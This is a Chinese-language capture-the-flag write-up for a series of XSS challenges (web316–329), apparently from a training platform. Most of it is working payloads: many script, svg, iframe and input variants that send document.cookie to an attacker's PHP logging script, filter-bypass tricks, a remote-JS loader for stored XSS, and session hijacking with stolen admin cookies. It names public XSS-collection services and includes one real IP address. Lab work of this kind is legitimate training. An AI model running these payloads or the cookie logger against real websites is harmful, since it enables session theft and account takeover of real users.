web316
这关没有过滤,但有bot拦截,如果我们直接用
<script>var x=document.cookie;alert(x);</script>
会发现弹出you are not admin,所以我们只能将数据外带
方式1:xss平台
https://xsshs.cn/,https://hk.sb/,https://xss.pt/,http://xsscom.com https://xs.sb
在xss平台创建项目,选择默认模块即可,复制生成的xss代码,复制到题目留言框中,刷新下页面,然后在平台查看项目
/165449.png)
方式二:vps
服务器可以起nc,可以用python起一个临时的服务器,也可以直接通过php自动接收脚本:
在自己的服务器上放一个php代码:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
收集一下可用的姿势:
<script>
var x=document.createElement("img"); x.src="http://xxx/fff.php?cookie="+document.cookie;
</script>
<script>window.open('http://xxx/fff.php?cookie='+document.cookie)</script>
<script>window.location.href=http://xxx/fff.php?cookie='+document.cookie</script>
<script>document.location.href=http://xxx/fff.php?cookie='+document.cookie</script>
<script>location.href='http://xxx/fff.php?cookie='+document.cookie</script>
<input onfocus="window.open('http://xxx/fff.php?cookie='+document.cookie)" autofocus>
<svg onload="window.open('http://xxx/fff.php?cookie='+document.cookie)">
<iframe onload="window.open('http://xxx/fff.php?cookie='+document.cookie)"></iframe>
<body onload="window.open('http://xxx/fff.php?cookie='+document.cookie)">
更多姿势可以参考:https://www.freebuf.com/articles/web/340080.html
web317
应该是过滤了script,还有很多标签都可以用
web318~319
过滤了img
web320~321
过滤空格,可以用%09、tab、/、/**/来绕过
<svg/onload="window.open('http://47.113.199.107/fff.php?cookie='+document.cookie)">
web322~326
过滤iframe,xss,空格,分号,逗号
web327
存储型xss
界面变成了这样
/192459.png)
一点就是收件人必须是admin才能发送成功,然后发件人和信的内容都填payload即可
web328
在用户管理处显示要 admin
权限,且显示会显示所有的用户名密码,说明所有的用户名密码会存储在某个地方,而这个地方就会触发xss
这一关就是要通过xss获取到管理员的cookie
有两种方法
1、在自己的服务器上放一个php文件和js文件
js-被加载到管理员页面
var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.cookie;
document.body.append(img);
php就是和前面一样,接收js传来的cookie并保存
注册处填入:
<script src=http://your-domain/test.js></script>
2、将cookie直接打到php
<script>location.href='http://ip/x.php?cookie='+document.cookie</script>
//这里不能用body标签,可以用script标签
接收到cookie:
然后burp抓管理员页面的包,修改cookie
/205158.png)
然后一个一个放包,改cookie
/205349.png)
拿到flag:
/205404.png)
因为页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。
或者可以直接在浏览器改一次cookie就行了
web 329
cookie设置了有效期,拿到cookie时就已经失效了,需要换个思路,既然可以通过运行js脚本拿到cookie,也可以拿到用户管理页面的内容,把flag带出来
<script>window.open('http://xxx/fff.php?cookie='+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。